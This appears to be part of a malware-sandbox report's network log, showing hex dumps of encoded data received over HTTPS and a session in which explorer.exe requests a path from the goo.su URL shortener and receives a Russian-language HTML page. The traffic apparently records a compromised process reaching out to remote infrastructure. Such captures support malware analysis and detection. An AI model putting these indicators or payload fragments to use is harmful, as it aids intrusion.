6b 00 37 00 68 00 64 00 4c 00 46 00 48 00 44 00 69 00 39 00 53 00 4f 00 37 00 61 00 6f 00 61 00 49 00 31 00 74 00 54 00
4f 00 6d 00 6a 00 78 00 64 00 6a 00 6e 00 4b 00 5a 00 6d 00 43 00 30 00 72 00 6d 00 2f 00 70 00 4e 00 34 00 30 00 41 0
0 48 00 4c 00 42 00 51 00 76 00 35 00 63 00 41 00 63 00 36 00 6a 00 6a 00 53 00 39 00 6d 00 33 00 48 00 59 00 46 00 
4d 00 51 00 31 00 2f 00 6e 00 67 00 56 00 73 00 4e 00 4f 00 39 00 59 
Data Ascii: SHeS0A/9SRqPCPTomnqG0Ij6trC98vBDfqRAocgvwdRSfiKLfkLXuxBS/k7hdLFHDi9SO7aoaI1tTOmjxdjnKZmC
0rm/pN40AHLBQv5cAc6jjS9m3HYFMQ1/ngVsNO9Y

Timestamp
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transferred Direction Data
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2022-01-14 11:22:26 UTC 304 IN Data Raw: 54 00 30 00 77 00 61 00 48 00 34 00 72 00 30 00 34 00 5a 00 72 00 71 00 6b 00 44 00 48 00 35 00 7a 00 6f 00 
43 00 6e 00 72 00 46 00 41 00 73 00 71 00 71 00 4c 00 46 00 2f 00 68 00 62 00 6f 00 6f 00 48 00 79 00 51 00 39 00 79 00 
48 00 4f 00 61 00 4d 00 6f 00 30 00 41 00 67 00 44 00 35 00 4b 00 43 00 4a 00 5a 00 4e 00 4b 00 65 00 44 00 41 00 61 
00 37 00 4a 00 48 00 39 00 4c 00 4a 00 58 00 5a 00 5a 00 4f 00 72 00 31 00 54 00 35 00 47 00 72 00 34 00 53 00 46 00 
30 00 4a 00 74 00 68 00 67 00 50 00 33 00 64 00 72 00 75 00 59 00 55 00 30 00 59 00 50 00 4f 00 77 00 69 00 30 00 69 0
0 6b 00 7a 00 4e 00 32 00 44 00 72 00 58 00 5a 00 5a 00 5a 00 68 00 76 00 4f 00 4d 00 32 00 2b 00 6a 00 72 00 32 00 7a 
00 69 00 6c 00 5a 00 5a 00 2b 00 65 00 43 00 34 00 58 00 74 00 7a 
Data Ascii: T0waH4r04ZrqkDH5zoCnrFAsqqLF/hbooHyQ9yHOaMo0AgD5KCJZNKeDAa7JH9LJXZZOr1T5Gr4SF0
JthgP3druYU0YPOwi0ikzN2DrXZZZhvOM2+jr2zilZZ+eC4Xtz

2022-01-14 11:22:26 UTC 320 IN Data Raw: 66 00 44 00 6f 00 75 00 53 00 4a 00 2b 00 6e 00 4d 00 4d 00 77 00 51 00 47 00 6f 00 50 00 4b 00 2f 00 76 00 
30 00 46 00 70 00 6f 00 51 00 30 00 74 00 45 00 33 00 35 00 32 00 65 00 4c 00 4c 00 35 00 76 00 4a 00 37 00 6e 00 30 
00 77 00 72 00 54 00 45 00 4b 00 51 00 61 00 63 00 35 00 2b 00 6f 00 6c 00 49 00 37 00 6a 00 52 00 6a 00 59 00 31 00 
6d 00 33 00 49 00 68 00 52 00 30 00 30 00 52 00 54 00 64 00 64 00 4d 00 72 00 42 00 77 00 33 00 6e 00 65 00 55 00 51 
00 54 00 56 00 58 00 59 00 7a 00 71 00 58 00 54 00 53 00 4b 00 37 00 47 00 5a 00 62 00 39 00 6f 00 32 00 62 00 50 00 
51 00 4e 00 47 00 72 00 55 00 4a 00 75 00 55 00 79 00 46 00 67 00 44 00 2b 00 44 00 6d 00 45 00 65 00 68 00 54 00 41 
00 4f 00 39 00 31 00 42 00 32 00 46 00 48 00 32 00 51 00 75 00 35 00 4c 
Data Ascii: fDouSJ+nMMwQGoPK/v0FpoQ0tE352eLL5vJ7n0wrTEKQac5+olI7jRjY1m3IhR00RTddMrBw3neUQT
VXYzqXTSK7GZb9o2bPQNGrUJuUyFgD+DmEehTAO91B2FH2Qu5L

2022-01-14 11:22:26 UTC 336 IN Data Raw: 6b 00 6d 00 59 00 2b 00 72 00 73 00 4f 00 2b 00 50 00 51 00 45 00 39 00 79 00 59 00 2b 00 68 00 6e 00 36 00 
37 00 45 00 65 00 64 00 67 00 51 00 35 00 43 00 5a 00 72 00 6b 00 55 00 6c 00 33 00 4a 00 59 00 69 00 36 00 4b 00 6f 
00 51 00 6b 00 5a 00 73 00 45 00 4b 00 35 00 7a 00 6b 00 31 00 4b 00 39 00 36 00 2b 00 50 00 77 00 54 00 55 00 31 00 
4f 00 41 00 69 00 59 00 41 00 33 00 4a 00 79 00 48 00 76 00 7a 00 43 00 68 00 56 00 5a 00 67 00 70 00 2f 00 4f 00 33 00 
77 00 77 00 53 00 36 00 49 00 52 00 32 00 65 00 4d 00 4c 00 75 00 30 00 51 00 35 00 6b 00 6c 00 49 00 50 00 42 00 67 0
0 64 00 4a 00 50 00 4a 00 36 00 31 00 63 00 58 00 73 00 70 00 69 00 4a 00 45 00 73 00 4e 00 63 00 78 00 68 00 52 00 
74 00 5a 00 2f 00 77 00 66 00 56 00 41 00 67 00 59 00 79 00 47 00 67 
Data Ascii: kmY+rsO+PQE9yY+hn67EedgQ5CZrkUl3JYi6KoQkZsEK5zk1K96+PwTU1OAiYA3JyHvzChVZgp/O3w
wS6IR2eMLu0Q5klIPBgdJPJ61cXspiJEsNcxhRtZ/wfVAgYyGg

2022-01-14 11:22:26 UTC 352 IN Data Raw: 4c 00 71 00 48 00 7a 00 32 00 42 00 57 00 50 00 37 00 6c 00 44 00 64 00 4a 00 7a 00 41 00 48 00 39 00 45 00 
4a 00 45 00 6d 00 34 00 6e 00 76 00 55 00 2f 00 6e 00 61 00 44 00 59 00 4c 00 74 00 59 00 76 00 52 00 45 00 76 00 6e 
00 78 00 61 00 50 00 35 00 56 00 43 00 4d 00 6b 00 63 00 51 00 4d 00 52 00 43 00 41 00 33 00 42 00 78 00 35 00 65 00 
39 00 4b 00 43 00 74 00 65 00 6c 00 71 00 4e 00 61 00 44 00 52 00 41 00 4b 00 4a 00 61 00 68 00 52 00 31 00 51 00 6d 
00 4b 00 61 00 49 00 45 00 36 00 53 00 36 00 52 00 73 00 4c 00 76 00 33 00 66 00 2b 00 62 00 77 00 4e 00 54 00 45 00 
42 00 70 00 50 00 4b 00 46 00 52 00 42 00 41 00 2f 00 59 00 6f 00 6e 00 64 00 6e 00 39 00 4c 00 68 00 4b 00 54 00 6a 00 
30 00 45 00 47 00 6c 00 4f 00 6e 00 6f 00 6d 00 71 00 72 00 5a 00 35 
Data Ascii: LqHz2BWP7lDdJzAH9EJEm4nvU/naDYLtYvREvnxaP5VCMkcQMRCA3Bx5e9KCtelqNaDRAKJahR1QmK
aIE6S6RsLv3f+bwNTEBpPKFRBA/Yondn9LhKTj0EGlOnomqrZ5

2022-01-14 11:22:26 UTC 368 IN Data Raw: 50 00 41 00 6d 00 37 00 57 00 62 00 42 00 75 00 6d 00 57 00 6a 00 58 00 55 00 53 00 47 00 73 00 65 00 4e 
00 6d 00 6f 00 7a 00 69 00 76 00 6b 00 56 00 62 00 46 00 75 00 6e 00 41 00 5a 00 66 00 57 00 43 00 4f 00 2f 00 32 00 65 
00 33 00 44 00 7a 00 43 00 50 00 6d 00 56 00 56 00 66 00 50 00 63 00 42 00 6b 00 47 00 52 00 72 00 6f 00 64 00 6f 00 
31 00 31 00 65 00 31 00 6b 00 6b 00 73 00 64 00 62 00 6c 00 2b 00 59 00 44 00 31 00 73 00 30 00 79 00 58 00 62 00 51 
00 65 00 6e 00 37 00 67 00 41 00 76 00 6f 00 78 00 43 00 2f 00 59 00 6d 00 70 00 65 00 31 00 68 00 35 00 43 00 62 00 
70 00 48 00 59 00 34 00 56 00 5a 00 51 00 41 00 74 00 37 00 65 00 41 00 76 00 57 00 6a 00 47 00 65 00 47 00 59 00 54 
00 35 00 38 00 6e 00 45 00 6a 00 44 00 5a 00 57 00 55 00 42 00 59 00 6a 
Data Ascii: PAm7WbBumWjXUSGseNmozivkVbFunAZfWCO/2e3DzCPmVVfPcBkGRrodo11e1kksdbl+YD1s0yXbQe
n7gAvoxC/Ympe1h5CbpHY4VZQAt7eAvWjGeGYT58nEjDZWUBYj

2022-01-14 11:22:26 UTC 384 IN Data Raw: 62 00 72 00 2b 00 2f 00 69 00 30 00 70 00 62 00 41 00 64 00 68 00 51 00 4a 00 6d 00 31 00 78 00 66 00 50 00 
39 00 6b 00 45 00 57 00 58 00 67 00 61 00 32 00 74 00 78 00 4a 00 64 00 6f 00 79 00 63 00 76 00 51 00 78 00 32 00 78 
00 6d 00 6f 00 5a 00 71 00 37 00 7a 00 72 00 30 00 46 00 66 00 61 00 7a 00 52 00 35 00 2b 00 36 00 6a 00 41 00 69 00 
32 00 2b 00 72 00 38 00 41 00 6c 00 44 00 4e 00 45 00 66 00 2b 00 66 00 58 00 4b 00 63 00 4c 00 59 00 30 00 32 00 44 0
0 44 00 68 00 45 00 4a 00 35 00 4e 00 44 00 46 00 56 00 4c 00 49 00 42 00 6b 00 7a 00 49 00 6d 00 51 00 30 00 2b 00 
77 00 7a 00 74 00 6b 00 4a 00 67 00 4b 00 63 00 73 00 62 00 34 00 2f 00 36 00 64 00 63 00 67 00 4a 00 37 00 65 00 59 
00 6a 00 33 00 37 00 2b 00 4d 00 39 00 45 00 63 00 5a 00 66 00 63 00 37 
Data Ascii: br+/i0pbAdhQJm1xfP9kEWXga2txJdoycvQx2xmoZq7zr0FfazR5+6jAi2+r8AlDNEf+fXKcLY02DDhEJ5NDFVLI
BkzImQ0+wztkJgKcsb4/6dcgJ7eYj37+M9EcZfc7

2022-01-14 11:22:26 UTC 400 IN Data Raw: 65 00 35 00 36 00 68 00 6b 00 63 00 69 00 76 00 7a 00 64 00 42 00 49 00 56 00 4a 00 41 00 4b 00 2f 00 57 00 
68 00 58 00 65 00 4d 00 33 00 45 00 5a 00 45 00 35 00 4a 00 77 00 4b 00 78 00 6c 00 55 00 6c 00 50 00 44 00 4c 00 50 
00 77 00 5a 00 4e 00 43 00 53 00 68 00 77 00 56 00 46 00 59 00 4f 00 7a 00 76 00 46 00 72 00 33 00 6e 00 46 00 76 00 
6d 00 52 00 2f 00 46 00 2f 00 50 00 2f 00 77 00 57 00 46 00 47 00 67 00 4a 00 77 00 73 00 72 00 53 00 46 00 37 00 41 00 
43 00 67 00 66 00 30 00 46 00 32 00 79 00 35 00 38 00 31 00 5a 00 31 00 33 00 7a 00 70 00 6e 00 61 00 4d 00 55 00 6a 
00 41 00 66 00 74 00 54 00 63 00 35 00 2f 00 72 00 49 00 48 00 63 00 37 00 68 00 78 00 41 00 56 00 42 00 55 00 4f 00 
32 00 66 00 70 00 4f 00 55 00 71 00 58 00 51 00 61 00 44 00 30 00 55 
Data Ascii: e56hkcivzdBIVJAK/WhXeM3EZE5JwKxlUlPDLPwZNCShwVFYOzvFr3nFvmR/F/P/wWFGgJwsrSF7AC
gf0F2y581Z13zpnaMUjAftTc5/rIHc7hxAVBUO2fpOUqXQaD0U

2022-01-14 11:22:26 UTC 416 IN Data Raw: 62 00 4e 00 48 00 41 00 48 00 58 00 64 00 51 00 4b 00 2b 00 46 00 65 00 41 00 36 00 7a 00 6d 00 2b 00 2b 
00 46 00 47 00 37 00 4f 00 48 00 48 00 4c 00 48 00 30 00 36 00 58 00 33 00 6e 00 69 00 79 00 32 00 69 00 6f 00 48 00 
79 00 37 00 45 00 65 00 4c 00 41 00 49 00 30 00 70 00 74 00 2f 00 65 00 46 00 6a 00 35 00 78 00 5a 00 47 00 77 00 47 0
0 58 00 44 00 63 00 57 00 6d 00 51 00 4c 00 4f 00 6c 00 37 00 52 00 70 00 49 00 55 00 75 00 52 00 62 00 41 00 4a 00 33 
00 32 00 43 00 78 00 6f 00 43 00 6a 00 74 00 50 00 50 00 65 00 4a 00 31 00 51 00 2b 00 78 00 54 00 6a 00 74 00 34 00 
43 00 4e 00 33 00 67 00 58 00 55 00 43 00 74 00 58 00 30 00 47 00 59 00 79 00 50 00 41 00 66 00 53 00 41 00 55 00 6f 
00 70 00 47 00 62 00 44 00 4e 00 56 00 42 00 76 00 62 00 48 00 45 00 54 
Data Ascii: bNHAHXdQK+FeA6zm++FG7OHHLH06X3niy2ioHy7EeLAI0pt/eFj5xZGwGXDcWmQLOl7RpIUuRbAJ32
CxoCjtPPeJ1Q+xTjt4CN3gXUCtX0GYyPAfSAUopGbDNVBvbHET

2022-01-14 11:22:26 UTC 432 IN Data Raw: 31 00 56 00 79 00 78 00 6d 00 50 00 7a 00 62 00 4d 00 47 00 33 00 59 00 79 00 71 00 4f 00 75 00 53 00 37 00 
51 00 6c 00 4c 00 31 00 54 00 70 00 35 00 6a 00 71 00 6e 00 6b 00 6c 00 54 00 6b 00 30 00 71 00 73 00 6a 00 51 00 38 
00 42 00 59 00 72 00 4e 00 49 00 36 00 75 00 6d 00 48 00 78 00 68 00 50 00 59 00 76 00 48 00 63 00 5a 00 66 00 43 00 
44 00 6e 00 74 00 38 00 35 00 56 00 47 00 52 00 38 00 76 00 78 00 69 00 33 00 36 00 5a 00 47 00 30 00 7a 00 2b 00 5a 
00 47 00 6b 00 4c 00 39 00 78 00 4d 00 62 00 76 00 49 00 39 00 72 00 7a 00 61 00 52 00 5a 00 68 00 43 00 2b 00 39 00 
63 00 62 00 6b 00 62 00 70 00 5a 00 52 00 31 00 2f 00 6c 00 66 00 4f 00 6e 00 6d 00 35 00 38 00 49 00 48 00 48 00 6b 
00 5a 00 70 00 56 00 5a 00 34 00 37 00 4a 00 7a 00 6d 00 67 00 76 00 36 
Data Ascii: 1VyxmPzbMG3YyqOuS7QlL1Tp5jqnklTk0qsjQ8BYrNI6umHxhPYvHcZfCDnt85VGR8vxi36ZG0z+ZG
kL9xMbvI9rzaRZhC+9cbkbpZR1/lfOnm58IHHkZpVZ47Jzmgv6
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2022-01-14 11:22:26 UTC 448 IN Data Raw: 41 00 72 00 46 00 64 00 4c 00 69 00 2b 00 77 00 59 00 4c 00 69 00 76 00 58 00 31 00 72 00 46 00 70 00 6f 00 
32 00 68 00 32 00 63 00 53 00 67 00 54 00 79 00 61 00 6c 00 41 00 67 00 32 00 54 00 2f 00 5a 00 30 00 76 00 46 00 47 
00 74 00 55 00 59 00 6c 00 4e 00 73 00 79 00 6c 00 30 00 72 00 78 00 79 00 67 00 58 00 44 00 4f 00 66 00 72 00 77 00 
51 00 59 00 68 00 47 00 54 00 38 00 53 00 4d 00 49 00 31 00 72 00 70 00 6b 00 6e 00 43 00 69 00 50 00 66 00 50 00 56 
00 70 00 6d 00 57 00 68 00 58 00 39 00 76 00 66 00 47 00 6c 00 42 00 4a 00 6c 00 46 00 76 00 34 00 2b 00 70 00 73 00 
4c 00 51 00 44 00 6d 00 54 00 6e 00 71 00 34 00 38 00 64 00 73 00 47 00 6a 00 50 00 6f 00 56 00 76 00 36 00 33 00 55 
00 42 00 59 00 70 00 50 00 53 00 30 00 37 00 52 00 6e 00 46 00 30 00 6f 
Data Ascii: ArFdLi+wYLivX1rFpo2h2cSgTyalAg2T/Z0vFGtUYlNsyl0rxygXDOfrwQYhGT8SMI1rpknCiPfPVpmWhX9vfGlB
JlFv4+psLQDmTnq48dsGjPoVv63UBYpPS07RnF0o

2022-01-14 11:22:26 UTC 464 IN Data Raw: 4f 00 79 00 50 00 74 00 79 00 56 00 43 00 68 00 75 00 2f 00 6a 00 6f 00 35 00 44 00 4d 00 49 00 69 00 30 00 
53 00 66 00 6d 00 79 00 4e 00 78 00 2f 00 57 00 32 00 61 00 76 00 30 00 52 00 79 00 6b 00 67 00 5a 00 6c 00 66 00 4f 
00 70 00 68 00 75 00 67 00 52 00 76 00 79 00 6a 00 61 00 37 00 41 00 6e 00 49 00 79 00 73 00 55 00 59 00 50 00 30 00 
75 00 66 00 44 00 65 00 6b 00 66 00 53 00 36 00 48 00 74 00 4a 00 6a 00 66 00 56 00 37 00 71 00 63 00 54 00 4b 00 63 
00 53 00 79 00 63 00 41 00 79 00 4c 00 34 00 6e 00 34 00 42 00 34 00 79 00 6f 00 57 00 2b 00 56 00 70 00 74 00 51 00 
4a 00 43 00 57 00 61 00 2f 00 55 00 4c 00 70 00 63 00 70 00 47 00 72 00 57 00 50 00 61 00 38 00 47 00 79 00 49 00 6e 
00 4d 00 6b 00 37 00 32 00 5a 00 2f 00 6f 00 49 00 41 00 77 00 73 00 5a 
Data Ascii: OyPtyVChu/jo5DMIi0SfmyNx/W2av0RykgZlfOphugRvyja7AnIysUYP0ufDekfS6HtJjfV7qcTKcSycAyL4n4B4
yoW+VptQJCWa/ULpcpGrWPa8GyInMk72Z/oIAwsZ

2022-01-14 11:22:26 UTC 480 IN Data Raw: 78 00 36 00 4a 00 48 00 55 00 4a 00 55 00 6a 00 33 00 6a 00 6d 00 39 00 31 00 43 00 68 00 33 00 6f 00 53 00 
47 00 6c 00 76 00 58 00 4d 00 48 00 75 00 56 00 79 00 33 00 72 00 6a 00 78 00 45 00 55 00 75 00 51 00 4b 00 69 00 6e 
00 54 00 4c 00 43 00 2f 00 77 00 67 00 43 00 5a 00 31 00 72 00 43 00 5a 00 35 00 50 00 45 00 53 00 4e 00 77 00 61 00 
53 00 58 00 71 00 64 00 7a 00 35 00 5a 00 66 00 64 00 6c 00 4f 00 6b 00 46 00 2f 00 41 00 67 00 74 00 45 00 31 00 30 0
0 4e 00 61 00 4f 00 52 00 46 00 45 00 55 00 5a 00 4e 00 4a 00 42 00 75 00 73 00 4a 00 2b 00 69 00 56 00 2b 00 43 00 4d 
00 45 00 72 00 62 00 62 00 79 00 66 00 46 00 77 00 38 00 76 00 4f 00 70 00 47 00 4e 00 64 00 41 00 35 00 49 00 43 00 
4b 00 71 00 2b 00 44 00 5a 00 58 00 68 00 43 00 34 00 30 00 62 00 2b 
Data Ascii: x6JHUJUj3jm91Ch3oSGlvXMHuVy3rjxEUuQKinTLC/wgCZ1rCZ5PESNwaSXqdz5ZfdlOkF/AgtE10N
aORFEUZNJBusJ+iV+CMErbbyfFw8vOpGNdA5ICKq+DZXhC40b+

2022-01-14 11:22:26 UTC 496 IN Data Raw: 41 00 6f 00 76 00 75 00 6f 00 33 00 4a 00 2b 00 7a 00 44 00 2b 00 38 00 31 00 47 00 62 00 75 00 48 00 41 00 
45 00 4e 00 79 00 4a 00 39 00 77 00 2b 00 62 00 6c 00 62 00 55 00 42 00 57 00 35 00 4d 00 73 00 53 00 62 00 4e 00 47 
00 74 00 41 00 63 00 51 00 59 00 52 00 4a 00 54 00 46 00 4f 00 34 00 37 00 6b 00 51 00 48 00 32 00 75 00 2f 00 62 00 
45 00 36 00 4f 00 6c 00 63 00 48 00 74 00 2f 00 76 00 57 00 2f 00 32 00 57 00 6e 00 66 00 4b 00 77 00 34 00 54 00 78 00 
30 00 76 00 70 00 74 00 47 00 4d 00 47 00 4a 00 70 00 68 00 5a 00 4c 00 59 00 35 00 6f 00 47 00 62 00 36 00 6a 00 55 0
0 36 00 50 00 58 00 52 00 64 00 36 00 76 00 4d 00 31 00 6e 00 6e 00 6e 00 6e 00 51 00 56 00 75 00 31 00 56 00 44 00 
4d 00 53 00 6e 00 2f 00 56 00 79 00 75 00 33 00 66 00 52 00 7a 00 6b 
Data Ascii: Aovuo3J+zD+81GbuHAENyJ9w+blbUBW5MsSbNGtAcQYRJTFO47kQH2u/bE6OlcHt/vW/2WnfKw4Tx0
vptGMGJphZLY5oGb6jU6PXRd6vM1nnnnQVu1VDMSn/Vyu3fRzk

2022-01-14 11:22:26 UTC 512 IN Data Raw: 71 00 4e 00 4b 00 79 00 59 00 32 00 63 00 68 00 71 00 6b 00 2f 00 49 00 69 00 72 00 46 00 52 00 52 00 64 00 
33 00 70 00 75 00 39 00 6d 00 6c 00 33 00 76 00 33 00 77 00 69 00 51 00 35 00 70 00 51 00 6e 00 53 00 42 00 58 00 47 
00 64 00 69 00 6c 00 65 00 65 00 6f 00 6b 00 6b 00 47 00 70 00 57 00 6c 00 7a 00 4c 00 43 00 43 00 37 00 57 00 46 00 
42 00 58 00 36 00 53 00 79 00 79 00 4c 00 56 00 35 00 79 00 75 00 4f 00 31 00 73 00 6b 00 57 00 4a 00 2b 00 52 00 55 0
0 75 00 41 00 72 00 4f 00 64 00 45 00 4c 00 46 00 77 00 61 00 67 00 4b 00 35 00 49 00 75 00 64 00 46 00 4f 00 6e 00 45 
00 36 00 6c 00 78 00 6b 00 74 00 34 00 32 00 43 00 67 00 44 00 63 00 61 00 6a 00 76 00 75 00 45 00 2f 00 30 00 41 00 
70 00 54 00 30 00 55 00 35 00 41 00 68 00 4b 00 34 00 39 00 30 00 35 
Data Ascii: qNKyY2chqk/IirFRRd3pu9ml3v3wiQ5pQnSBXGdileeokkGpWlzLCC7WFBX6SyyLV5yuO1skWJ+RUu
ArOdELFwagK5IudFOnE6lxkt42CgDcajvuE/0ApT0U5AhK4905

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49874 172.67.139.105 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2022-01-14 11:22:58 UTC 526 OUT GET /abhF HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: goo.su

2022-01-14 11:22:58 UTC 526 IN HTTP/1.1 200 OK
Date: Fri, 14 Jan 2022 11:22:58 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
vary: Accept-Encoding
x-powered-by: PHP/7.2.21
cache-control: private, must-revalidate
pragma: no-cache
expires: -1
set-cookie: XSRF-TOKEN=eyJpdiI6IktJRWxmM3o2SStEbmtjcEFhbnR0cFE9PSIsInZhbHVlIjoidUM2TXFsR0h2K1lZMlFxT
0NBWkZnUkhMUTVTNjdwM2lZaUdXWkVnT1ZiT3o1V05OMEZIbnluVitKXC9wVnA5eVYiLCJtYWMiOiJlYzFkOTliMjE
wOWJmMTUyN2JkYzIxOGE0YzcxNGY5NTQ5ZTA4ZjgwZWMwZDdhZmI5ZTRlN2VkYWViNjAyNzNkIn0%3D; expires=S
at, 15-Jan-2022 06:02:58 GMT; Max-Age=67200; path=/
set-cookie: goosu_session=eyJpdiI6Ilh6ajZvdjdSNlwvMktDZHZlZkx2WXlRPT0iLCJ2YWx1ZSI6ImMyY2F0NHkxUVFvRW
h5QWUrcE5oZWRkbzdMTnVGRmRCN3BRcThYVVBqT0pKY1cwOTF1aGFmcWoxaDJoaGtDQnQiLCJtYWMiOi
IxNGY0ZGE1YTc0NDVlMjUyMGZlODFlODNlNTY0YWU5MWVmOGQ0YzExNTQyNDYwMjQ4YmE3YWY3YjIxNj
U1NDUwIn0%3D; expires=Sat, 15-Jan-2022 06:02:58 GMT; Max-Age=67200; path=/; httponly
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KpPjRJEDZJflydkeeQ%2FZbAZ4WjoLIk
K8UEI4QhGcd%2FKZDsO58r53NmDfptciU7nTNKBBkkFvq9KPOdk6oSIxKIaBuFk5DLJiNFrnH%2BhJym%2FNwzPzGt
fKPtQ%3D"}],"group":"cf-nel","max_age":604800}
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2022-01-14 11:22:58 UTC 528 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 64 36 37 64 35 31 38 63 63 66 37 35 64 62 2d 4c 48 52 
0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22 
3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 
2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd67d5
18ccf75db-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86
400

2022-01-14 11:22:58 UTC 528 IN Data Raw: 32 31 32 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 
22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 
6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 
69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 
74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 3c 74 69 74 6c 65 3e d0 9f d1 80 d0 be d0 b8 d1 81 
d1 85 d0 be d0 b4 d0 b8 d1 82 20 d0 bf d0 b5 d1 80 d0 b5 d0 bd d0 b0 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd d0 b8 d
0 b5 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 6c 69 6e 6b 20 68 
Data Ascii: 212e<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="widt
h=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h

2022-01-14 11:22:58 UTC 529 IN Data Raw: 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 
6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 
23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 
20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 
3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 
0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 
20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 
Data Ascii: -bottom: 30px;        }        .bordered {            border: 1px solid #eee;            padding: 10px;        }        h3 {            
font-size: 24px;            text-align: center;            font-weight: 400;            text-shadow: 0px 1p

2022-01-14 11:22:58 UTC 530 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 
54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 
74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 
Data Ascii:           async: true                        });                    });                    t = d.getElementsByTagName("script")[0];       
             s = d.createElement("script");                    s.type = "text/javascript";                    s

2022-01-14 11:22:58 UTC 532 IN Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 7
3 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 22 2f 2f 
61 6e 2e 79 61 6e 64 65 78 2e 72 75 2f 73 79 73 74 65 6d 2f 63 6f 6e 74 65 78 74 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 
